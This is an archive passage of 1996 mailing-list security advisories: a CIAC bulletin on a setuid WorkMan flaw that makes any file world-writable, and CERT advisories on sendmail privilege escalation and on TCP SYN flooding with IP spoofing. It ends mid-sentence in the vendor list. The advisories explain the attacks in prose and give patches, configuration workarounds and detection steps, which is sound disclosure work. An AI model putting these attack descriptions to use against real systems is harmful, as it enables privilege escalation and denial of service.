Multiple recipients of list BUGTRAQ Subject: [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program Date: Mon, 2 Sep 1996 22:47:43 -0500 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery [Mod: Forwarded from Bugtraq. --Jeff.] -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN Vulnerability in WorkMan Program August 29, 1996 15:00 GMT Number G-42 ______________________________________________________________________________ PROBLEM: When the "WorkMan" compact disc playing program is installed set-user-id "root", it can be used to make any file on the system world-writable. PLATFORM: Linux, UNIX System V Release 4.0 (and derivatives). DAMAGE: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. This vulnerbility can allow the user to create accounts, destroy log files, and perform other unauthorized actions. SOLUTION: Apply the patches listed in the vendor bulletin below. ______________________________________________________________________________ VULNERABILITY This vulnerability is becoming widely known. ASSESSMENT: ______________________________________________________________________________ [Begin IBM Bulletin] - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-ERS-ALERT - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 28 August 1996 18:00 GMT Number: ERS-SVA-E01-1996:005.1 ============================================================================= VULNERABILITY SUMMARY VULNERABILITY: When the "WorkMan" compact disc playing program is installed set-user-id "root," it can be used to make any file on the system world-writable. PLATFORMS: Linux, UNIX System V Release 4.0 (and derivatives) SOLUTION: Remove the set-user-id bit from the "workman" program. THREAT: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. ============================================================================= DETAILED INFORMATION NOTE: This advisory is NOT a re-hash of the problem reported on several lists earlier this week by a group calling itself "r00t." The vulnerability described by "r00t" is essentially a subset of the problem described in this alert. I. Description "WorkMan" is a popular program used for playing audio compact disks on local workstation CD-ROM drives that is widely available from many sites around the Internet. Versions of "WorkMan" are also included with some operating system distributions, such as Linux. On systems where "WorkMan" was built and installed using the procedures that are given in "Makefile.linux" or "Makefile.svr4" (in general, this means on Linux systems and UNIX System V Release 4.0 systems), the "workman" program is installed set-user-id "root." This means that when the program is run, it will execute with super-user permissions. In order to allow signals to be sent to it, "WorkMan" writes its process-id to a file called "/tmp/.wm_pid." The "-p" option to the program allows the user to specify a different file name in which to record this information. When a file is specified with "-p", "WorkMan" simply attempts to create and/or truncate the file, and if this succeeds, "WorkMan" changes the permissions on the file so that it is world-readable and world-writable. In the general case, when "WorkMan" is installed without the set-user-id bit set, the normal file access permissions provided by the operating system will prevent users from creating or truncating files they are not authorized to create or truncate. However, when "WorkMan" is installed set-user-id "root," this process breaks down (because "root" is allowed to create/truncate any file). II. Impact A user executing a set-user-id "root" version of "WorkMan" can use the "-p" option to create a file anywhere in the file system, or to truncate any file in the file system. More importantly, the file specified with "-p" will be world-readable and world-writable when "WorkMan" is finished. This can enable the user to create accounts, destroy log files, and perform other unauthorized actions. III. Solutions "WorkMan" does not require the set-user-id bit to work; it is installed this way only on systems that do not make the CD-ROM device file world-readable by default. This vulnerability can be alleviated by: 1) Removing the set-user-id bit from the "WorkMan" program, via a command such as chmod u-s /usr/local/bin/workman and 2) Making the CD-ROM device world-readable, via a command such as chmod +r /dev/cdrom Note that on multi-user systems, part (2) of the above procedure will allow any user to access the contents of the disc installed in the CD-ROM; this may not be desirable in all environments. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the steps to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== [End IBM Bulletin] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: [email protected] For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to [email protected]: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained by sending email to [email protected] with an empty subject line and a message body containing the line: send first-contacts. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) G-32: HP-UX Vulnerabilities in expreserve, rpc.pcnfsd, rpc.statd G-33: rdist vulnerability G-34: HP-UX Vulnerabilities (netttune, SAM remote admin) G-35: SUN Microsystems Solaris vold Vulnerability G-36: HP-UX Vulnerabilities in elm and rdist Programs G-37: Vulnerability in Adobe FrameMaker (fm_fls) G-38: Linux Vulnerabilities in mount and umount Programs G-39: Vulnerability in expreserve G-40: SGI admin and user Program Vulnerabilities G-41: Vulnerability in BASH Program RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition iQCVAgUBMicE47nzJzdsy3QZAQGRCQQAiA9WGkaF14qx8/7X3qvEicuv23dBgrlV siE/Jcq7yBMtuDCThMk9nDbDf1fGLUyysZ/MeeS9ybBpWJxzgWL2iXP9f0yBRtap siGX0ij+7LKrexR5nWBsdf7jZF34qaqU8xRlBHxbC7QiZIZD7SMtl9ZYBsflN8nP CFT0bTnpUOk= =PYbw -----END PGP SIGNATURE----- From [email protected] Thu Sep 19 09:34:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id JAA00483; Thu, 19 Sep 1996 09:34:32 -0400 Resent-Date: Thu, 19 Sep 1996 09:17:11 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities Date: Wed, 18 Sep 1996 10:34:33 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.20 Original issue date: September 18, 1996 Last revised: -- Topic: Sendmail Vulnerabilities - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:05 *** The CERT Coordination Center has received reports of two security problems in sendmail that affect all versions up to and including 8.7.5. By exploiting the first of these vulnerabilities, users who have local accounts can gain access to the default user, which is often daemon. By exploiting the second vulnerability, any local user can gain root access. The CERT/CC team recommends installing vendor patches or upgrading to the current version of sendmail (8.7.6). Until you can do so, we urge you to apply the workaround provided in Sec. III.C. In all cases, be sure to take the extra precautions listed in Sec. III.D. For beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. In addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail to identify the most current version of sendmail. - ----------------------------------------------------------------------------- I. Description There are two vulnerabilities in all versions of sendmail up to and including sendmail 8.7.5. The first vulnerability is a resource starvation problem and the second is a buffer overflow problem. Resource Starvation ------------------- When email is forwarded to a program using a .forward file or an :include: statement within a .forward or alias file, that program is executed as the owner of the .forward file or the file referenced by the :include: statement. Similarly, if email is forwarded to a file, that file is opened as the owner of the .forward file or the file referenced by the :include: statement. The file owner is called the "controlling user." If the message cannot be delivered immediately, the name of the controlling user is written into the queue file along with the other delivery information so that the appropriate permissions can be acquired when the mail queue is processed. Only the name of the controlling user is written in the queue file. This name is derived by calling the system routine getpwuid(3) on the user id of the file owner. If getpwuid fails, the sendmail default user (defined by the DefaultUser option in 8.7 and by the "u" and "g" options in older releases) is assumed. In some cases, the system can be forced into resource starvation, thus forcing getpwuid(3) to fail even though an entry exists in /etc/passwd corresponding to that uid. Since getpwuid has no way of portably returning an error meaning "resource failure" as distinct from "user id not found," sendmail has no way of distinguishing between these cases; it assumes that the uid is unknown and falls back to the default user. By starving sendmail of specific resources, sendmail will create files owned by the default user. Once created, these files can be used to access other files owned by the default user. In addition, these files owned by the default user can be used to leverage access to other privileged users on the system. Buffer Overflows ---------------- There are several buffer overflows present in sendmail version 8.7.5 and earlier. Some of the buffer overflows could result in local users gaining unauthorized root access. Significant work has been done on sendmail version 8.8 (now in beta test) to eliminate the problem, and the code changes originally planned for 8.8 have been backported to 8.7.6 to address these vulnerabilities. II. Impact Resource Starvation ------------------- Anyone with access to an account on the system can run programs or write files as the default user. The danger of compromising the default user depends primarily on the other files in your system owned by that user. For example, on many systems the line printer spool directory (e.g., /var/spool/lpd) is owned by daemon; because the line printer subsystem runs setuid root, it may be possible to gain additional privileges. However, some other systems have no files owned by user daemon on the default system, and the only files owned by group daemon are not writable by that group; hence, the danger is minimal. Buffer Overflows ---------------- Anyone with access to an account on the system can gain root access. III. Solution Install a patch from your vendor if one is available (Sec. A) or upgrade to the current version of sendmail (Sec. B). Until you can take one of those actions, we recommend applying the workaround described in Sec. C. This workaround addresses the resource starvation problem but not buffer overflows. In all cases, you should take the precautions listed in Sec. D. Note to beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version of 8.8. A. Install a vendor patch. Below is a list of the vendors who have provided information about sendmail. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact the vendor directly. Digital Equipment Corporation Hewlett-Packard Company IBM Corporation Linux Open Software Foundation The Santa Cruz Operation Silicon Graphics Inc. Sun Microsystems, Inc. B. Upgrade to the current version of sendmail. Install sendmail 8.7.6. This version is a "drop in" replacement for 8.7.x. There is no patch for 8.6.x. If you are using version 8.6 or earlier, you need to upgrade to the current version and rebuild your sendmail.cf files. Upgrading to version 8.7.6 addresses both vulnerabilities described in this advisory. Sendmail 8.7.6 is available from ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.7.6.tar.gz ftp://info.cert.org/pub/tools/sendmail/sendmail.8.7.6.tar.gz ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.7.6.tar.gz MD5 (sendmail.8.7.6.tar.gz) = 4a1f2179c53c9106bc8d7738f4d55667 Also in that directory are .Z and .sig files. The .Z file contains the same bits as the .gz file, but is compressed using UNIX compress instead of gzip. The .sig is Eric Allman's PGP signature for the uncompressed tar file. The key fingerprint is Type bits/keyID Date User ID pub 1024/BF7BA421 1995/02/23 Eric P. Allman Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29 Eric P. Allman Eric P. Allman Eric P. Allman Eric P. Allman We strongly recommend that when you change to a new version of sendmail you also change to the configuration files that are provided with that version. Significant work has been done to make this task easier. It is now possible to build a sendmail configuration file (sendmail.cf) using the configuration files provided with the sendmail release. Consult the cf/README file for a more complete explanation. Creating your configuration files using this method makes it easier to incorporate future changes to sendmail into your configuration files. Finally, for Sun users, a paper is available to help you convert your sendmail configuration files from the Sun version of sendmail to one that works with sendmail version 8.7.x. The paper is entitled "Converting Standard Sun Config Files to Sendmail Version 8" and was written by Rick McCarty of Texas Instruments Inc. It is included in the distribution and is located in contrib/converting.sun.configs. C. Apply a workaround. Resource Starvation ------------------- Eric Allman, the author of sendmail, has provided the following workaround to the resource starvation vulnerability. Using smrsh as "prog" mailer limits the programs that can be run as the default user. Smrsh does not limit the files that can be written, but less damage can be done by writing files directly. The damage can be almost entirely constrained by ensuring that the default user is an innocuous one. Sendmail defaults to 1:1 (daemon) only because that is reasonably portable. A special "mailnull" account that is used only for this purpose would be better. This user should own no files and should have neither a real home directory nor a real shell. A sample password entry might be: mailnull:*:32765:32765:Sendmail Default User:/no/such/dir:/dev/null A corresponding entry should be made in /etc/group: mailnull:*:32765: These assume that there are no other users or groups with id = 32765 on your system; if there are, pick some other unique value. After creating this user, change the line in /etc/sendmail.cf reading O DefaultUser=1:1 to read O DefaultUser=mailnull If you are running 8.6.*, you will have to change the lines reading Ou1 Og1 to read Ou32765 Og32765 Finally, if you are using the m4(1)-based sendmail configuration scheme provided with sendmail 8.7.*, you should add the following line to the m4 input file, usually named sendmail.mc: define(`confDEF_USER_ID', 32765:32765) The actual values should, of course, match those in the passwd file. Buffer Overflows ---------------- There is no workaround for the buffer overflow problem. To address this problem, you must apply your vendor's patches or upgrade to the current version of sendmail (version 8.7.6). D. Take additional precautions. Regardless of which solution you apply, you should take these extra precautions to protect your systems. * Use the sendmail restricted shell program (smrsh) With *all* versions of sendmail, use the sendmail restricted shell program (smrsh). You should do this whether you use vendor-supplied sendmail or install sendmail yourself. Using smrsh gives you improved administrative control over the programs sendmail executes on behalf of users. A number of sites have reported some confusion about the need to continue using the sendmail restricted shell program (smrsh) when they install a vendor patch or upgrade to a new version of sendmail. You should always use the smrsh program. smrsh is included in the sendmail distribution in the subdirectory smrsh. See the RELEASE_NOTES file for a description of how to integrate smrsh into your sendmail configuration file. smrsh is also distributed with some operating systems. * Use mail.local If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with mail.local, which is included in the sendmail distribution. It is also included with some other operating systems distributions, such as FreeBSD. Although the current version of mail.local is not a perfect solution, it is important to use it because it addresses vulnerabilities that are being exploited. For more details, see CERT advisory CA-95:02. Note that as of Solaris 2.5 and beyond, mail.local is included with the standard distribution. To use mail.local, replace all references to /bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based configuration scheme provided with sendmail 8.X, add the following to your configuration file: define(`LOCAL_MAILER_PATH', /usr/lib/mail.local) * WARNING: Check for executable copies of old versions of mail programs If you leave executable copies of older versions of sendmail installed in /usr/lib (on some systems, it may be installed elsewhere), the vulnerabilities in those versions could be exploited if an intruder gains access to your system. This applies to sendmail.mx as well as other sendmail programs. Either delete these versions or change the protections on them to be non-executable. Similarly, if you replace /bin/mail with mail.local, remember to remove old copies of /bin/mail or make them non-executable. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, please contact the vendor directly. Digital Equipment Corporation ============================= [About the resource starvation problem] Source: Software Security Response Team Copyright (c) Digital Equipment Corporation 1996. All rights reserved. 08.SEP.1996 At the time of writing this document, patches (binary kits) for Digital's UNIX related operating systems are being developed. Digital will provide notice of availability for remedial kits through AES services (DIA, DSNlink FLASH), placed in the public FTP patch service domain and also be available from your normal Digital Support channel. ftp://ftp.service.digital.com/public/{OS/{vn.n} | | | |--version |--osf or ultrix 9/96 - DIGITAL EQUIPMENT CORPORATION Hewlett-Packard Company ======================= [About the resource starvation problem] HP-UX is vulnerable, and a patch is in progress. The HP SupportLine Mail Service provides notification of security patches for HP-UX to its 'security_info' mailing list. For information on the service, send mail to [email protected] with 'help' in the body of the message (without quotes). To report new security defects in HP software, send mail to [email protected]. IBM Corporation ================ The following APARs are being developed and will be available shortly. See the appropriate release below to determine your action. AIX 3.2 ------- Apply the following fixes to your system: APAR - IX61303 IX61307 AIX 4.1 ------- Apply the following fixes to your system: APAR - IX61162 IX61306 To determine if you have this APAR on your system, run the following command: instfix -ik IX61162 IX61306 AIX 4.2 ------- Apply the following fixes to your system: APAR - IX61304 IX61305 To determine if you have this APAR on your system, run the following command: instfix -ik IX61304 IX61305 To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, http://service.software.ibm.com/aixsupport/ or send e-mail to [email protected] with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. Linux ===== [For the resource starvation problem:] Debian Linux: not vulnerable (uses smail) Red Hat and derivatives: ftp://ftp.redhat.com/pub/redhat-3.0.3/i386/updates/RPMS/sendmail* Open Software Foundation ======================== OSF's OSF/1 R1.3.2 is not vulnerable to these types of attacks described in the resource starvation sections of the advisory. OSF's OSF/1 R1.3.2 is vulnerable to the buffer overflow problems. We will address the problem in our next maintenance release. The Santa Cruz Operation ======================== Any SCO operating system running a version of sendmail provided by SCO is vulnerable to this problem. SCO is providing Support Level Supplement (SLS) oss443a for the following releases to address this issue: SCO Internet FastStart release 1.0.0 SCO OpenServer releases 5.0.0 and 5.0.2 This SLS provides a pre-release version of sendmail release 8.7.6 for these platforms. SCO hopes to have a final version of sendmail 8.7.6 available to address both issues mentioned in this advisory in the near future. Note that only SCO Internet FastStart uses sendmail as the default mail system. All other SCO operating systems use other mail systems such as the Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr" mail system as the default, and as such are not vulnerable to this problem unless otherwise configured to use sendmail. SCO intends to provide a similar patch for SCO UnixWare release 2.1.0 in the near future. When configured to use a version of sendmail provided by SCO, releases prior to the ones mentioned here are also vulnerable, but no plans have yet been made concerning patches for these earlier releases. You can download SLS oss443a as shown below. Anonymous ftp (World Wide Web URL) ------------- ftp://ftp.sco.COM/SSE/oss443a (SLS image) ftp://ftp.sco.COM/SSE/oss443a.ltr.sse (cover letter/install notes) Compuserve ---------- SLS oss443a is also available in the SCO Forum on Compuserve. SCO Online Support (SOS) BBS ---------------------------- SLS oss443a can also be downloaded interactively via X, Y, or Z MODEM or Kermit, using the SCO Online Support System (SOS). Follow the menu selections under "Toolchest" from the main SOS menu. The phone numbers available for interactive transfer from SOS are: 1-408-426-9495 (USA) +44 (0)1923 210 888 (United Kingdom) Checksums --------- sum -r ------ 13804 630 oss443a 35304 14 oss443a.ltr.sse MD5 --- MD5 (oss443a) = 549260a71ca76f4e98dd38bccb72748c MD5 (oss443a.ltr.sse) = 7475d83f0db64a1af69eb66cd392a9d3 Be sure to keep track of the README file at ftp://ftp.sco.COM/SSE/README for updates to this supplement. If you have further questions, contact your support provider. If you need to contact SCO, please send electronic mail to [email protected], or contact SCO as follows. USA/Canada: 6am-5pm Pacific Daylight Time (PDT) ----------- 1-800-347-4381 (voice) 1-408-427-5443 (fax) Pacific Rim, Asia, and Latin American customers: 6am-5pm Pacific ------------------------------------------------ Daylight Time (PDT) 1-408-425-4726 (voice) 1-408-427-5443 (fax) Europe, Middle East, Africa: 9am-5:30pm Greenwich Mean Time (GMT) ---------------------------- +44 (0)1923 816344 (voice) +44 (0)1923 817781 (fax) Silicon Graphics, Inc. ====================== We are analyzing the vulnerability, and will provide additional information as it becomes available. Sun Microsystems, Inc. ====================== Sun is working on a patch which will fix both problems, and we expect to have it out by the end of the month. Also, we will send out a Sun bulletin on this subject at about the same time. - ------------------------------------------------------------------------------ The CERT Coordination Center staff thanks Eric Allman, the author of sendmail, for his extensive assistance with this advisory, Wolfgang Ley of DFN-CERT for his support in the development of the advisory, and D. J. Bernstein of the University of Illinois at Chicago for reporting the resource starvation vulnerability. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. You can get the CERT PGP key from ftp://info.cert.org/pub/CERT_PGP.key Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.20.sendmail_vul http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMj/++HVP+x0t4w7BAQEoBQP/THORrwVlVF6WbC1zJ3V7fMLC3XSXoG7E WPbIxciOj1xwA14gvVGXyPMtnH6AmgD7PyzQyifzwu/MrecU3UHfgdjVlpJbRjFJ XplELdcjt39wKGz9TlurK/iE31PN/gOlcBBukyLjIuq9NHJEi9vN7M0nTp3KmW/b H66I2ElnY7w= =tQ1H -----END PGP SIGNATURE----- From [email protected] Fri Sep 20 10:24:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id KAA09150; Fri, 20 Sep 1996 10:24:21 -0400 Resent-Date: Fri, 20 Sep 1996 09:51:20 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks Date: Thu, 19 Sep 1996 16:36:42 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.21 Original issue date: September 19, 1996 Last revised: -- Topic: TCP SYN Flooding and IP Spoofing Attacks - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:01. *** Two "underground magazines" have recently published code to conduct denial-of-service attacks by creating TCP "half-open" connections. This code is actively being used to attack sites connected to the Internet. There is, as yet, no complete solution for this problem, but there are steps that can be taken to lessen its impact. Although discovering the origin of the attack is difficult, it is possible to do; we have received reports of attack origins being identified. Any system connected to the Internet and providing TCP-based network services (such as a Web server, FTP server, or mail server) is potentially subject to this attack. The consequences of the attack may vary depending on the system; however, the attack itself is fundamental to the TCP protocol used by all systems. If you are an Internet service provider, please pay particular attention to Section III and Appendix A, which describes step we urge you to take to lessen the effects of these attacks. If you are the customer of an Internet service provider, please encourage your provider to take these steps. This advisory provides a brief outline of the problem and a partial solution. We will update this advisory as we receive new information. If the change in information warrants, we may post an updated advisory on comp.security.announce and redistribute an update to our cert-advisory mailing list. As always, the latest information is available at the URLs listed at the end of this advisory. - ----------------------------------------------------------------------------- I. Description When a system (called the client) attempts to establish a TCP connection to a system providing a service (the server), the client and server exchange a set sequence of messages. This connection technique applies to all TCP connections--telnet, Web, email, etc. The client system begins by sending a SYN message to the server. The server then acknowledges the SYN message by sending SYN-ACK message to the client. The client then finishes establishing the connection by responding with an ACK message. The connection between the client and the server is then open, and the service-specific data can be exchanged between the client and the server. Here is a view of this message flow: Client Server ------ ------ SYN--------------------> <--------------------SYN-ACK ACK--------------------> Client and server can now send service-specific data The potential for abuse arises at the point where the server system has sent an acknowledgment (SYN-ACK) back to client but has not yet received the ACK message. This is what we mean by half-open connection. The server has built in its system memory a data structure describing all pending connections. This data structure is of finite size, and it can be made to overflow by intentionally creating too many partially-open connections. Creating half-open connections is easily accomplished with IP spoofing. The attacking system sends SYN messages to the victim server system; these appear to be legitimate but in fact reference a client system that is unable to respond to the SYN-ACK messages. This means that the final ACK message will never be sent to the victim server system. The half-open connections data structure on the victim server system will eventually fill; then the system will be unable to accept any new incoming connections until the table is emptied out. Normally there is a timeout associated with a pending connection, so the half-open connections will eventually expire and the victim server system will recover. However, the attacking system can simply continue sending IP-spoofed packets requesting new connections faster than the victim system can expire the pending connections. In most cases, the victim of such an attack will have difficulty in accepting any new incoming network connection. In these cases, the attack does not affect existing incoming connections nor the ability to originate outgoing network connections. However, in some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. The location of the attacking system is obscured because the source addresses in the SYN packets are often implausible. When the packet arrives at the victim server system, there is no way to determine its true source. Since the network forwards packets based on destination address, the only way to validate the source of a packet is to use input source filtering (see Appendix A). II. Impact Systems providing TCP-based services to the Internet community may be unable to provide those services while under attack and for some time after the attack ceases. The service itself is not harmed by the attack; usually only the ability to provide the service is impaired. In some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. III. Solution There is, as yet, no generally accepted solution to this problem with the current IP protocol technology. However, proper router configuration can reduce the likelihood that your site will be the source of one of these attacks. Appendix A contains details about how to filter packets to reduce the number of IP-spoofed packets entering and exiting your network. It also contains a list of vendors that have reported support for this type of filtering. NOTE to Internet Service Providers: We STRONGLY urge you to install these filters in your routers to protect your customers against this type of an attack. Although these filters do not directly protect your customers from attack, the filters do prevent attacks from originating at the sites of any of your customers. We are aware of the ramifications of these filters on some current Mobile IP schemes and are seeking a position statement from the appropriate organizations. NOTE to customers of Internet service providers: We STRONGLY recommend that you contact your service provider to verify that the necessary filters are in place to protect your network. Many networking experts are working together to devise improvements to existing IP implementations to "harden" kernels to this type of attack. When these improvements become available, we suggest that you install them on all your systems as soon as possible. This advisory will be updated to reflect changes made by the vendor community. IV. Detecting an Attack Users of the attacked server system may notice nothing unusual since the IP-spoofed connection requests may not load the system noticeably. The system is still able to establish outgoing connections. The problem will most likely be noticed by client systems attempting to access one of the services on the victim system. To verify that this attack is occurring, check the state of the server system's network traffic. For example, on SunOS this may be done by the command: netstat -a -f inet Too many connections in the state "SYN_RECEIVED" indicates that the system is being attacked. ........................................................................... Appendix A - Reducing IP Spoofed Packets 1. Filtering Information - ------------------------- With the current IP protocol technology, it is impossible to eliminate IP-spoofed packets. However, you can take steps to reduce the number of IP-spoofed packets entering and exiting your network. Currently, the best method is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network to prevent a source IP spoofing attack from originating from your site. The combination of these two filters would prevent outside attackers from sending you packets pretending to be from your internal network. It would also prevent packets originating within your network from pretending to be from outside your network. These filters will *not* stop all TCP SYN attacks, since outside attackers can spoof packets from *any* outside network, and internal attackers can still send attacks spoofing internal addresses. We STRONGLY urge Internet service providers to install these filters in your routers. In addition, we STRONGLY recommend customers of Internet service providers to contact your service provider to verify that the necessary filters are in place to protect your network. 2. Vendor Information - ---------------------- The following vendor(s) have reported support for the type of filtering we recommend and provided pointers to additional information that describes how to configure your router. If you need more information about your router or about firewalls, please contact your vendor directly. Cisco ----- Refer to the section entitiled "ISP Security Advisory" on http://www.cisco.com for an 